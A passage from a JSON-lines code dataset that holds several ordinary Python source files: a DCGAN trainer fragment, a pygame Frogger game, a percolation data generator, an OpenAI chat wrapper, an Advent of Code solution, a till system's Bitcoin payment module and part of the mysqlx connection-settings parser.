self.G(self.fixed_noise).detach().cpu()\n viz_util.save_current_fakes_snapshot(fake, epoch, False, self.device, output_name)\n\n if (epoch == self.config.num_epochs - 1) and (batch_num >= len(self.dataloader) - 1):\n with torch.no_grad():\n fake = self.G(self.fixed_noise).detach().cpu()\n viz_util.save_current_fakes_snapshot(fake, epoch, True, self.device, output_name)\n\n def save_networks_every_nth_epoch(self, epoch):\n n = 50\n if epoch != 0 and epoch % n == 0:\n torch.save(self.G.state_dict(), self.config.netowrk_snapshots_root + \"netG_epoch_%d.pth\" % epoch)\n torch.save(self.D.state_dict(), self.config.netowrk_snapshots_root + \"netD_epoch_%d.pth\" % epoch)\n\n # Generates and saves 2048 fake images for running the FID score script\n def generate_fake_results(self):\n noise_batch_size = self.config.batch_size\n num_noise_batches = 2048 // noise_batch_size\n\n print(\"Generating random fakes: %d batches with size %d\" % (num_noise_batches, noise_batch_size))\n noise_batches = torch.randn(\n num_noise_batches, noise_batch_size, self.config.latent_size, 1, 1, device=self.device\n )\n\n with torch.no_grad():\n for i, noise_batch in enumerate(noise_batches):\n generated_set = self.G(noise_batch).detach().cpu()\n for j, generated_img in enumerate(generated_set):\n vutils.save_image(\n generated_img,\n self.config.output_root + \"fake_%d.png\" % (i * noise_batch_size + j),\n normalize=True,\n padding=0,\n )","repo_name":"kstpr/Thesis","sub_path":"GANs/DCGAN/dcgan_base.py","file_name":"dcgan_base.py","file_ext":"py","file_size_in_byte":9373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14862727465","text":"import pygame\nimport random\nimport math\n\npygame.init()\n\nFRAMERATE = 60\n\n# colors\nBLACK = (0, 0, 0)\nROAD = (128, 128, 128)\nGRASS = (124, 252, 0)\nYELLOW = (250, 252, 0)\nSKY = (0, 250, 252)\nCAR_COLORS = [(178, 34, 34), (255, 165, 0),\n (255, 215, 0), (0, 250, 154),\n (0, 255, 255), (0, 0, 128),\n (65, 105, 225), (138, 43, 226),\n (75, 0, 130), (128, 0, 128),\n (255, 0, 255), (199, 21, 133)]\nPLAYER = (0, 90, 90)\n\n\n# sizes\nLANES = 4\nROADHEIGHT = 300\n\n# screen sizes\nWIDTH = 800\nHEIGHT = 500\n\nLANESIZE = ROADHEIGHT/LANES\nGRASSHEIGHT = ROADHEIGHT + (2 * (LANESIZE)) # LANESIZE on each side\n\n\n# consts to help with runtime\nROADSTART = (HEIGHT-ROADHEIGHT)/2\nGRASSSTART = (HEIGHT - GRASSHEIGHT)/2\n\nCAR_LENGTH_SCALE = 12 # scale from road length to car length\nCAR_WIDTH_SCALE = 2 # scale from lane width to car width\n\nCAR_SPEED = 7\nX_SPEED = 20\nCAR_SPAWN_DELAY = 20\n\nCAR_WHEEL_SCALE = 3\n\nLANEARR = [((i * LANESIZE) + ROADSTART) for i in range(0, LANES)]\nCARS = [[] for i in LANEARR]\n\nplayerLanes = []\nplayerLanes = list.copy(LANEARR)\n\nprint (LANEARR)\nprint(playerLanes)\n\nplayerLanes.append((LANEARR[-1] + LANESIZE))\nplayerLanes.insert(0, (LANEARR[0] - LANESIZE))\n\nprint(\"lane array = {}\".format(LANEARR))\nprint(playerLanes)\n\nplayerX = WIDTH/2\nplayerlane = len(playerLanes)-1\nprint(playerlane)\nplayerY = playerLanes[playerlane]\n\nclass Car(object):\n def __init__(self, lane):\n self.lane = (lane)\n self.length = WIDTH/CAR_LENGTH_SCALE\n # cars will ocupy half the lane\n self.width = (LANESIZE/CAR_WIDTH_SCALE)\n\n # spawns car slightly off screen\n self.y = LANEARR[self.lane] + (LANESIZE-self.width)/2\n self.x = -((self.length)*2)\n\n self.wheelDif = self.width/CAR_WHEEL_SCALE\n self.wheelLength = self.wheelDif\n self.wheelWidth = self.wheelLength/2 # 2:1 aspect ratio of wheels\n\n self.color = random.choice(CAR_COLORS)\n\n def Draw(self):\n pygame.draw.rect(screen, self.color, [\n self.x, self.y, self.length, self.width], 0)\n # wheels\n pygame.draw.rect(screen, BLACK, [\n self.x + (self.wheelDif/2), self.y-(self.wheelWidth/2), self.wheelLength, self.wheelWidth])\n pygame.draw.rect(screen, BLACK, [self.x + self.length - (self.wheelDif/2) -\n self.wheelLength, self.y-(self.wheelWidth/2), self.wheelLength, self.wheelWidth])\n pygame.draw.rect(screen, BLACK, [self.x + (self.wheelDif/2), self.y + self.width - (\n self.wheelWidth/2), self.wheelLength, self.wheelWidth])\n pygame.draw.rect(screen, BLACK, [self.x + self.length - (self.wheelDif/2) - self.wheelLength,\n self.y + self.width - (self.wheelWidth/2), self.wheelLength, self.wheelWidth])\n self.x += CAR_SPEED\n\ndef spawnCar():\n lane = math.floor(random.random() * len(LANEARR))\n c = Car(lane)\n CARS[lane].append(c)\n\ndef deleteCars():\n #deletes all cars that are fully off-screen\n for lane in CARS:\n ind = 0\n for car in lane:\n if (car.x - car.width) > WIDTH:\n del lane[ind]\n ind+=1\n\ndef drawPlayer():\n playerWidth = LANESIZE/1.5\n pygame.draw.rect(screen, PLAYER, [playerX + (LANESIZE - playerWidth)/2, playerY +(LANESIZE - playerWidth)/2, playerWidth/1.5, playerWidth])\n\n\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption('Frogger')\n\n# checks if player is alive\nalive = True\nMoveAble = False\n# clock will be used to control how fast the screen updates\nclock = pygame.time.Clock()\nframeCount = 0\ncount = 0\n# MAIN PROGRAM LOOP-----------------------\nwhile alive:\n frameCount += 1\n\n #for i in range(0, len(CARS)):\n # print(\"lane {} has {} cars\".format(i, len(CARS[i])))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n alive = False\n if event.type == pygame.KEYDOWN:\n if MoveAble:\n if event.key == pygame.K_UP:\n if(playerlane > 0):\n playerlane -= 1\n if event.key == pygame.K_DOWN:\n if(playerlane < len(playerLanes)-1):\n playerlane += 1\n if event.key == pygame.K_RIGHT:\n playerX += X_SPEED\n if event.key == pygame.K_LEFT:\n playerX -= X_SPEED\n\n # draws background\n screen.fill(SKY)\n\n # draw grass\n pygame.draw.rect(screen, GRASS, [0, GRASSSTART, WIDTH, GRASSHEIGHT], 0)\n pygame.draw.rect(screen, (10, 100, 10),\n [-1, GRASSSTART, WIDTH+2, GRASSHEIGHT], 1)\n\n # draws road\n pygame.draw.rect(screen, ROAD, [0, ROADSTART, WIDTH, ROADHEIGHT], 0)\n pygame.draw.rect(screen, (100, 100, 100),\n [-2, ROADSTART, WIDTH+4, ROADHEIGHT], 2)\n\n # draws yellow line (lane)\n for i in range(1, LANES):\n pygame.draw.line(screen, YELLOW, [\n 0, ROADSTART + (LANESIZE*i) - 0.5], [WIDTH, ROADSTART+(LANESIZE*i) - 0.5], 1)\n\n for lane in CARS:\n for car in lane:\n car.Draw()\n\n playerY = playerLanes[playerlane]\n drawPlayer()\n\n if (frameCount == CAR_SPAWN_DELAY):\n spawnCar()\n deleteCars()\n frameCount = 0\n if count < 5:\n count += 1\n \n print(count)\n if count == 5:\n print(MoveAble)\n MoveAble = True\n\n # update screen\n pygame.display.flip()\n\n clock.tick(FRAMERATE)\n\npygame.quit()\n","repo_name":"ryanboldi/Frogger","sub_path":"frogger.py","file_name":"frogger.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22196697857","text":"\nfrom torch.utils import data\nimport os\nimport numpy as np\nimport torch\nfrom typing import Tuple, Union\n\nclass Dataset(data.Dataset):\n\n def __init__(\n self, \n dataset_size=1000,\n image_size=128 \n ):\n\n super().__init__()\n\n self.image_size = image_size\n self.dataset, _ = generate_percolation_data(dataset_size=dataset_size, lattice_size=image_size)\n\n def __len__(self):\n \n return len(self.dataset)\n\n def __getitem__(self, index):\n\n return self.dataset[index]\n\n\ndef percolation_configuration(\n L: int, \n p: float,\n) -> np.ndarray:\n\n spin = (np.random.random(size=(L,L)) < p).astype(np.int8)\n return 2 * spin - 1\n\ndef generate_percolation_data(\n dataset_size, \n lattice_size=128, \n p_list=None, \n split=False, \n save_dir=None\n) -> Union[Tuple[torch.tensor, torch.tensor], Tuple[torch.tensor, torch.tensor, torch.tensor, torch.tensor]]:\n\n X = []\n y = []\n\n for _ in range(dataset_size):\n\n if p_list is not None:\n y.append(np.random.choice(p_list))\n else:\n y.append(np.random.rand())\n \n X.append(percolation_configuration(lattice_size, y[-1]))\n\n X = np.array(X)\n y = np.array(y)\n\n X = torch.from_numpy(X).float().unsqueeze(1)\n y = torch.from_numpy(y).float().view(-1, 1)\n \n if save_dir is not None:\n torch.save(X, os.path.join(save_dir, 'images.pt'))\n torch.save(y, os.path.join(save_dir, 'labels.pt'))\n \n if split:\n X_train = X[:(3*dataset_size)//4]\n X_test = X[(3*dataset_size)//4:]\n y_train = y[:(3*dataset_size)//4]\n y_test = y[(3*dataset_size)//4:]\n \n return (X, y) if not split else (X_train, y_train, X_test, y_test)","repo_name":"MatthieuSarkis/diffusion_generative_model","sub_path":"src/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26772527612","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Project : AI. @by PyCharm\n# @File : chatgpt\n# @Time : 2023/6/29 08:52\n# @Author : betterme\n# @WeChat : meutils\n# @Software : PyCharm\n# @Description : https://api2d-doc.apifox.cn/api-84787447\n\nfrom meutils.pipe import *\n\n\ndef load_llm4chat(**kwargs):\n import openai\n\n def stream_chat(query, history=None, **chat_kwargs):\n history = history or []\n messages = history + [{\"role\": \"user\", \"content\": query}]\n\n kwargs = {\n \"model\": \"gpt-3.5-turbo-0613\",\n \"stream\": True,\n \"max_tokens\": None,\n \"temperature\": None,\n \"top_p\": None,\n \"messages\": messages,\n \"user\": \"Betterme\"\n }\n chat_kwargs = {**kwargs, **chat_kwargs}\n chat_kwargs = {k: chat_kwargs[k] for k in kwargs} # 过滤不支持的参数\n\n completion = openai.ChatCompletion.create(**chat_kwargs)\n\n for c in completion:\n _ = c.choices[0].get('delta').get('content', '')\n yield _\n\n return stream_chat\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"yuanjie-ai/ChatLLM","sub_path":"chatllm/llms/chatgpt.py","file_name":"chatgpt.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"54"} +{"seq_id":"21597731702","text":"from csv import DictReader\n\n\ndef import_model(*, session, model, filename):\n \"\"\"Takes a session, model, and csv filename and imports the\n model into the session and commits. csv field names must exactly match the\n SQLAlchemy model's constructor and commits them to the session\"\"\"\n with open(filename) as fp:\n reader = DictReader(fp)\n for row in reader:\n well = model(**row)\n session.add(well)\n session.commit()","repo_name":"cjmochrie/Flask-Demo","sub_path":"demo/admin_tools.py","file_name":"admin_tools.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20271069303","text":"from aoc.util.load_input import load_input, build_filename\n\n\ndef solve_part_1(input):\n answer = sum(input)\n return answer\n\n\ndef solve_part_2(input):\n seen = set()\n answer = None\n freq = 0\n seen.add(freq)\n i = 0\n while answer is None:\n delta = input[i % len(input)]\n freq += delta\n if freq in seen:\n answer = freq\n break\n seen.add(freq)\n i += 1\n\n return answer\n\n\ndef test_part_2():\n test_cases = [([+1, -1], 0),\n ([+3, +3, +4, -2, -4], 10),\n ([-6, +3, +8, +5, -6], 5),\n ([+7, +7, -2, -7, -4], 14)]\n for input, output in test_cases:\n answer = solve_part_2(input)\n assert output == answer, \"{} should give {} but gave {}\".format(input, output, answer)\n\n\nif __name__ == \"__main__\":\n filename = build_filename(__file__, \"input\")\n input = load_input(filename)\n answer = solve_part_1(input)\n print(\"Part 1: The frequency is {}\".format(answer))\n \n test_part_2()\n\n input = load_input(filename)\n answer = solve_part_2(input)\n print(\"Part 2: The frequency is {}\".format(answer))\n\n\n","repo_name":"wconstab/algo","sub_path":"aoc/day1/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10585487707","text":"# This code is obsolete, and is just being kept around for reference.\n\nimport requests\nfrom decimal import Decimal\nfrom . import payment, ui, tillconfig, printer, td, keyboard\nfrom .models import zero, penny, Payment, Transaction\ntry:\n import qrcode\n _qrcode_available = True\nexcept ImportError:\n _qrcode_available = False\nimport logging\nlog = logging.getLogger(__name__)\n\nAPIVersion = \"1.0\"\n\nclass Api:\n \"\"\"A python interface to the BTCMerch API\n \"\"\"\n def __init__(self, username, password, site, base_url):\n self._base_url = base_url + site + \"/\"\n self._auth = (username, password)\n\n def request_payment(self, ref, description, amount):\n response = requests.post(\n self._base_url + \"payment.json\",\n data={'ref': str(ref), 'description': description,\n 'amount': str(amount)}, auth=self._auth)\n response.raise_for_status()\n\n return response.json(parse_float=Decimal)\n\n def transactions_total(self, translist):\n response = requests.post(\n self._base_url + \"totals.json\",\n data={'transaction': translist},\n auth=self._auth)\n response.raise_for_status()\n\n return response.json(parse_float=Decimal)\n\n def transactions_reconcile(self, ref, translist):\n response = requests.post(\n self._base_url + \"totals.json\",\n data={'ref': ref, 'transaction': translist},\n auth=self._auth)\n response.raise_for_status()\n\n return response.json(parse_float=Decimal)\n\nclass btcpopup(ui.dismisspopup):\n \"\"\"A window used to accept a Bitcoin payment.\n \"\"\"\n def __init__(self, pm, reg, payment):\n self._pm = pm\n self._reg = reg\n self._paymentid = payment.id\n mh, mw = ui.rootwin.size()\n self.h = mh\n self.w = mh * 2\n self.response = {}\n # Title will be drawn in \"refresh()\"\n super().__init__(\n self.h, self.w, colour=ui.colour_input, keymap={\n keyboard.K_CASH: (self.refresh, None, False),\n keyboard.K_PRINT: (self.printout, None, False)})\n self.refresh()\n\n @staticmethod\n def qrcode_data(response):\n \"\"\"Construct a bitcoin URL using pay_to_address and to_pay from a\n btcmerch server response.\n \"\"\"\n return \"bitcoin:{}?amount={}\".format(\n response['pay_to_address'], response['to_pay'])\n\n def draw_qrcode(self):\n if not _qrcode_available:\n self.win.drawstr(2, 2, self.w - 4,\n \"QR code library not installed. Press Print.\")\n return\n q = qrcode.QRCode(border=2)\n q.add_data(self.qrcode_data(self.response))\n m = q.get_matrix()\n size = len(m)\n # Will it fit using single block characters?\n if size + 2 < self.h and ((size * 2) + 2) < self.w:\n # Yes! Try to center it\n x = (self.w // 2) - size\n y = (self.h - size) // 2\n for line in m:\n self.win.addstr(\n y, x, ''.join(\n [\" \" if c else \"\\u2588\\u2588\" for c in line]))\n y = y + 1\n # Will it fit using half block characters?\n elif (size // 2) < self.h and size + 2 < self.w:\n # Yes.\n x = (self.w - size) // 2\n y = (self.h - (size // 2)) // 2\n # We work on two rows at once.\n lt = {\n (False, False): \"\\u2588\", # Full block\n (False, True): \"\\u2580\", # Upper half block\n (True, False): \"\\u2584\", # Lower half block\n (True, True): \" \", # No block\n }\n while len(m) > 0:\n if len(m) > 1:\n row = zip(m[0], m[1])\n else:\n row = zip(m[0], [True] * len(m[0]))\n m = m[2:]\n self.win.addstr(y, x, ''.join([lt[c] for c in row]))\n y = y + 1\n else:\n self.win.drawstr(\n 2, 2, self.w - 4,\n \"QR code will not fit on this screen. Press Print.\")\n\n def printout(self):\n if 'to_pay_url' in self.response:\n with ui.exception_guard(\"printing the QR code\"):\n data = self.qrcode_data(self.response)\n with printer.driver as d:\n d.printline(\"\\t\" + tillconfig.pubname, emph=1)\n d.printline(\"\\t{} payment\".format(self._pm.description))\n d.printline(\"\\t\" + self.response['description'])\n d.printline(\"\\t\" + tillconfig.fc(self.response['amount']))\n d.printline(\"\\t{} {} to pay\".format(\n self.response['to_pay'], self._pm._currency))\n d.printqrcode(data.encode('utf-8'))\n d.printline()\n d.printline(\"\\t\" + self.response['pay_to_address'])\n d.printline()\n d.printline()\n\n def refresh(self):\n payment = td.s.query(Payment).get(self._paymentid)\n if not payment:\n self.dismiss()\n ui.infopopup([\"The payment record for this transaction has \"\n \"disappeared. The transaction can't be \"\n \"completed.\"], title=\"Error\")\n return\n if payment.amount != zero:\n self.dismiss()\n ui.infopopup([\"The payment has already been completed.\"],\n title=\"Error\")\n return\n # A pending Bitcoin payment has the GBP amount as the reference.\n amount = Decimal(payment.ref)\n try:\n result = self._pm._api.request_payment(\n \"p{}\".format(self._paymentid),\n \"Payment {}\".format(self._paymentid), amount)\n except requests.exceptions.HTTPError as e:\n if e.response.status_code == 409:\n return ui.infopopup(\n [\"The {} merchant service has rejected the payment \"\n \"request because the amount has changed.\".\n format(self._pm.description)],\n title=\"{} error\".format(self._pm.description))\n return ui.infopopup([str(e)], title=\"{} http error\".format(\n self._pm.description))\n except Exception as e:\n return ui.infopopup([str(e)], title=\"{} error\".format(\n self._pm.description))\n self.response = result\n if 'to_pay_url' in result:\n self.win.bordertext(\n f\"{self._pm.description} payment of {tillconfig.fc(amount)} \"\n f\"- press {keyboard.K_CASH.keycap} to recheck\", \"U<\")\n self.draw_qrcode()\n self.win.bordertext(\n f\"Received {result['paid_so_far']} of \"\n f\"{result['amount_in_btc']} {self._pm._currency} so far\", \"L<\")\n if result['paid']:\n self.dismiss()\n self._pm._finish_payment(self._reg, payment,\n result['amount_in_btc'])\n\nclass BitcoinPayment(payment.PaymentMethod):\n def __init__(self, paytype, description,\n username, password, site, base_url,\n currency=\"BTC\", min_payment=Decimal(\"1.00\"),\n account_code = None):\n payment.PaymentMethod.__init__(self, paytype, description)\n self._api = Api(username, password, site, base_url)\n self._min_payment = min_payment\n self._currency = currency\n self.account_code = account_code\n\n def describe_payment(self, payment):\n if payment.amount == zero:\n # It's a pending payment. The ref field is the amount in\n # our configured currency (i.e. NOT in Bitcoin).\n return \"Pending {} payment of {}{}\".format(\n self.description, tillconfig.currency, payment.ref)\n return \"{} ({} {})\".format(self.description, payment.ref,\n self._currency)\n\n def payment_is_pending(self, pline_instance):\n return pline_instance.amount == zero\n\n def resume_payment(self, reg, pline_instance):\n if self.payment_is_pending(pline_instance):\n p = td.s.query(Payment).get(pline_instance.payment_id)\n btcpopup(self, reg, p)\n\n def start_payment(self, reg, transid, amount, outstanding):\n trans = td.s.query(Transaction).get(transid)\n # Search the transaction for an unfinished Bitcoin payment; if\n # there is one, check to see if it's already been paid.\n for p in trans.payments:\n if p.paytype_id == self.paytype:\n if p.amount == zero:\n btcpopup(self, reg, p)\n return\n if amount < zero:\n ui.infopopup(\n [\"We don't support refunds using {}.\".format(\n self.description)],\n title=\"Refund not suported\")\n return\n if amount > outstanding:\n ui.infopopup(\n [\"You can't take an overpayment using {}.\".format(\n self.description)],\n title=\"Overpayment not accepted\")\n return\n if amount < self._min_payment:\n ui.infopopup(\n [\"The minimum amount you can take using {} is {}. \"\n \"Small transactions will cost \"\n \"proportionally too much in transaction fees.\".format(\n self.description, tillconfig.fc(self._min_payment))],\n title=\"Payment too small\")\n return\n # We're ready to attempt a Bitcoin payment at this point. Add\n # the Payment to the transaction to get its ID.\n p = Payment(transaction=trans, paytype=self.get_paytype(),\n ref=str(amount), amount=zero, user=ui.current_user().dbuser)\n td.s.add(p)\n td.s.flush()\n reg.add_payments(transid, [payment.pline(p, method=self)])\n btcpopup(self, reg, p)\n\n def _finish_payment(self, reg, payment, btcamount):\n amount = Decimal(payment.ref)\n payment.ref = str(btcamount)\n payment.amount = amount\n td.s.flush()\n reg.payments_update()\n ui.infopopup([\"{} payment received\".format(self.description)],\n title=self.description,\n dismiss=keyboard.K_CASH, colour=ui.colour_info)\n\n def _payment_ref_list(self, session):\n td.s.add(session)\n # Find all the payments in this session\n payments = td.s.query(Payment).join(Transaction).\\\n filter(Payment.paytype_id == self.paytype).\\\n filter(Payment.amount != zero).\\\n filter(Transaction.session == session).\\\n all()\n return [\"p{}\".format(p.id) for p in payments]\n\n def total(self, session, fields):\n td.s.add(session)\n btcval = zero\n try:\n btcval = Decimal(self._api.transactions_total(\n self._payment_ref_list(session))[\"total\"]).quantize(penny)\n except Exception as e:\n return str(e)\n return btcval\n\n def commit_total(self, session, amount):\n td.s.add(session)\n payment_ref_list = self._payment_ref_list(session)\n try:\n btcval = Decimal(self._api.transactions_total(\n payment_ref_list)[\"total\"]).quantize(penny)\n if btcval != amount:\n return \"Server says amount is {}, but we are trying to \" \\\n \"record {} as the total\".format(btcval, amount)\n self._api.transactions_reconcile(\n str(session.id), payment_ref_list)\n except Exception as e:\n return str(e)\n\n def accounting_info(self, sessiontotal):\n return self.account_code, sessiontotal.session.date, \\\n \"{} takings\".format(self.description)\n","repo_name":"ikedakojiro/quicktill","sub_path":"quicktill/bitcoin.py","file_name":"bitcoin.py","file_ext":"py","file_size_in_byte":11900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"10659605217","text":"import re\nfrom . import constants\n\nfrom .config import (PersistenceHandler, SessionConfigManager, SessionConfig,\n PasswordHandler)\nfrom .compat import STRING_TYPES, urlparse, unquote, parse_qsl\nfrom .connection import Session\nfrom .constants import SSLMode, Auth\nfrom .crud import Schema, Collection, Table, View\nfrom .dbdoc import DbDoc\nfrom .errors import (Error, Warning, InterfaceError, DatabaseError,\n NotSupportedError, DataError, IntegrityError,\n ProgrammingError, OperationalError, InternalError,\n PoolError)\nfrom .result import (ColumnMetaData, Row, Result, BufferingResult, RowResult,\n SqlResult, ColumnType)\nfrom .statement import (Statement, FilterableStatement, SqlStatement,\n FindStatement, AddStatement, RemoveStatement,\n ModifyStatement, SelectStatement, InsertStatement,\n DeleteStatement, UpdateStatement,\n CreateCollectionIndexStatement, CreateTableStatement,\n CreateViewStatement, AlterViewStatement, ColumnDef,\n GeneratedColumnDef, ForeignKeyDef, Expr,\n ReadStatement, WriteStatement)\n\n_SPLIT = re.compile(r',(?![^\\(\\)]*\\))')\n_PRIORITY = re.compile(r'^\\(address=(.+),priority=(\\d+)\\)$', re.VERBOSE)\nssl_opts = [\"ssl-cert\", \"ssl-ca\", \"ssl-key\", \"ssl-crl\"]\nsess_opts = ssl_opts + [\"user\", \"password\", \"schema\", \"host\", \"port\",\n \"routers\", \"socket\", \"ssl-mode\", \"auth\"]\n\ndef _parse_address_list(path):\n \"\"\"Parses a list of host, port pairs\n\n Args:\n path: String containing a list of routers or just router\n\n Returns:\n Returns a dict with parsed values of host, port and priority if\n specified.\n \"\"\"\n path = path.replace(\" \", \"\")\n array = not(\",\" not in path and path.count(\":\") > 1\n and path.count(\"[\") == 1) and \\\n path.startswith(\"[\") and path.endswith(\"]\")\n\n routers = []\n address_list = _SPLIT.split(path[1:-1] if array else path)\n for address in address_list:\n router = {}\n\n match = _PRIORITY.match(address)\n if match:\n address = match.group(1)\n router[\"priority\"] = int(match.group(2))\n\n match = urlparse(\"//{0}\".format(address))\n if not match.hostname:\n raise InterfaceError(\"Invalid address: {0}\".format(address))\n\n router.update(host=match.hostname, port=match.port)\n routers.append(router)\n\n return {\"routers\": routers} if array else routers[0]\n\ndef _parse_connection_uri(uri):\n \"\"\"Parses the connection string and returns a dictionary with the\n connection settings.\n\n Args:\n uri: mysqlx URI scheme to connect to a MySQL server/farm.\n\n Returns:\n Returns a dict with parsed values of credentials and address of the\n MySQL server/farm.\n \"\"\"\n settings = {\"schema\": \"\"}\n uri = \"{0}{1}\".format(\"\" if uri.startswith(\"mysqlx://\")\n else \"mysqlx://\", uri)\n scheme, temp = uri.split(\"://\", 1)\n userinfo, temp = temp.partition(\"@\")[::2]\n host, query_str = temp.partition(\"?\")[::2]\n\n pos = host.rfind(\"/\")\n if host[pos:].find(\")\") is -1 and pos > 0:\n host, settings[\"schema\"] = host.rsplit(\"/\", 1)\n host = host.strip(\"()\")\n\n if not host or not userinfo or \":\" not in userinfo:\n raise InterfaceError(\"Malformed URI '{0}'\".format(uri))\n settings[\"user\"], settings[\"password\"] = userinfo.split(\":\", 1)\n\n if host.startswith((\"/\", \"..\", \".\")):\n settings[\"socket\"] = unquote(host)\n elif host.startswith(\"\\\\.\"):\n raise InterfaceError(\"Windows Pipe is not supported.\")\n else:\n settings.update(_parse_address_list(host))\n\n for key, val in parse_qsl(query_str, True):\n opt = key.lower()\n if opt in settings:\n raise InterfaceError(\"Duplicate option '{0}'.\".format(key))\n if opt in ssl_opts:\n settings[opt] = unquote(val.strip(\"()\"))\n else:\n settings[opt] = val.lower()\n return settings\n\ndef _validate_settings(settings):\n \"\"\"Validates the settings to be passed to a Session object\n the port values are converted to int if specified or set to 33060\n otherwise. The priority values for each router is converted to int\n if specified.\n\n Args:\n settings: dict containing connection settings.\n \"\"\"\n invalid_opts = set(settings.keys()).difference(sess_opts)\n if invalid_opts:\n raise ProgrammingError(\"Invalid options: {0}.\"\n \"\".format(\", \".join(invalid_opts)))\n\n if \"routers\" in settings:\n for router in settings[\"routers\"]:\n _validate_hosts(router)\n elif \"host\" in settings:\n _validate_hosts(settings)\n\n if \"ssl-mode\" in settings:\n try:\n settings[\"ssl-mode\"] = settings[\"ssl-mode\"].lower()\n SSLMode.index(settings[\"ssl-mode\"])\n except (AttributeError, ValueError):\n raise InterfaceError(\"Invalid SSL Mode '{0}'.\"\n \"\".format(settings[\"ssl-mode\"]))\n if settings[\"ssl-mode\"] == SSLMode.DISABLED and \\\n any(key in settings for key in ssl_opts):\n raise InterfaceError(\"SSL options used with ssl-mode 'disabled'.\")\n\n if \"ssl-crl\" in settings and not \"ssl-ca\" in settings:\n raise InterfaceError(\"CA Certificate not provided.\")\n if \"ssl-key\" in settings and not \"ssl-cert\" in settings:\n raise InterfaceError(\"Client Certificate not provided.\")\n\n if not \"ssl-ca\" in settings and settings.get(\"ssl-mode\") \\\n in [SSLMode.VERIFY_IDENTITY, SSLMode.VERIFY_CA]:\n raise InterfaceError(\"Cannot verify Server without CA.\")\n if \"ssl-ca\" in settings and settings.get(\"ssl-mode\") \\\n not in [SSLMode.VERIFY_IDENTITY, SSLMode.VERIFY_CA]:\n raise InterfaceError(\"Must verify Server if CA is provided.\")\n\n if \"auth\" in settings:\n try:\n settings[\"auth\"] = settings[\"auth\"].lower()\n Auth.index(settings[\"auth\"])\n except (AttributeError, ValueError):\n raise InterfaceError(\"Invalid Auth '{0}'\".format(settings[\"auth\"]))\n\n\ndef _validate_hosts(settings):\n if \"priority\" in settings and settings[\"priority\"]:\n try:\n settings[\"priority\"] = int(settings[\"priority\"])\n except NameError:\n raise InterfaceError(\"Invalid priority\")\n\n if \"port\" in settings and settings[\"port\"]:\n try:\n settings[\"port\"] = int(settings[\"port\"])\n except NameError:\n raise InterfaceError(\"Invalid port\")\n elif \"host\" in settings:\n settings[\"port\"] = 33060\n\ndef _get_connection_settings(*args, **kwargs):\n \"\"\"Parses the connection string and returns a dictionary with the\n connection settings.\n\n Args:\n *args: Variable length argument list with the connection data used\n to connect to the database. It can be a dictionary or a\n connection string.\n **kwargs: Arbitrary keyword arguments with connection data used to\n connect to the database.\n\n Returns:\n mysqlx.Session: Session object.\n \"\"\"\n settings = {}\n if args:\n if isinstance(args[0], STRING_TYPES):\n settings = _parse_connection_uri(args[0])\n elif isinstance(args[0], dict):\n settings.update(args[0])\n elif isinstance(args[0], SessionConfig):\n settings.update(args[0].to_dict())\n settings.pop(\"appdata\", None)\n\n if len(args) is 2:\n settings[\"password\"] = args[1]\n elif kwargs:\n settings.update(kwargs)\n for key, val in settings.items():\n if \"_\" in key:\n settings[key.replace(\"_\", \"-\")] = settings.pop(key)\n\n if \"session_name\" in settings:\n sess_config = sessions.get(settings.pop(\"session_name\")).to_dict()\n settings = dict(sess_config, **settings)\n settings.pop(\"appdata\", None)\n if \"uri\" in settings:\n settings = dict(_parse_connection_uri(settings.pop(\"uri\")), **settings)\n\n if not settings:\n raise InterfaceError(\"Settings not provided\")\n\n _validate_settings(settings)\n return settings\n\ndef get_session(*args, **kwargs):\n \"\"\"Creates a Session instance using the provided connection data.\n\n Args:\n *args: Variable length argument list with the connection data used\n to connect to the database. It can be a dictionary or a\n connection string.\n **kwargs: Arbitrary keyword arguments with connection data used to\n connect to the database.\n\n Returns:\n mysqlx.Session: Session object.\n \"\"\"\n settings = _get_connection_settings(*args, **kwargs)\n return Session(settings)\n\n\nsessions = SessionConfigManager()\nsessions.set_persistence_handler(PersistenceHandler())\n\n__all__ = [\n # mysqlx.connection\n \"Session\", \"get_session\",\n\n # mysqlx.sessions\n \"sessions\",\n\n # mysqlx.constants\n \"constants\",\n\n # mysqlx.crud\n \"Schema\", \"Collection\", \"Table\", \"View\",\n\n # mysqlx.errors\n \"Error\", \"Warning\", \"InterfaceError\", \"DatabaseError\", \"NotSupportedError\",\n \"DataError\", \"IntegrityError\", \"ProgrammingError\", \"OperationalError\",\n \"InternalError\", \"PoolError\",\n\n # mysqlx.result\n \"ColumnMetaData\", \"Row\", \"Result\", \"BufferingResult\", \"RowResult\",\n \"SqlResult\", \"ColumnType\",\n\n # mysqlx.statement\n \"DbDoc\", \"Statement\", \"FilterableStatement\", \"SqlStatement\",\n \"FindStatement\", \"AddStatement\", \"RemoveStatement\", \"ModifyStatement\",\n \"SelectStatement\", \"InsertStatement\", \"DeleteStatement\", \"UpdateStatement\",\n \"CreateCollectionIndexStatement\", \"CreateTableStatement\",\n \"CreateViewStatement\", \"AlterViewStatement\",\"ColumnDef\",\n \"GeneratedColumnDef\", \"ForeignKeyDef\", 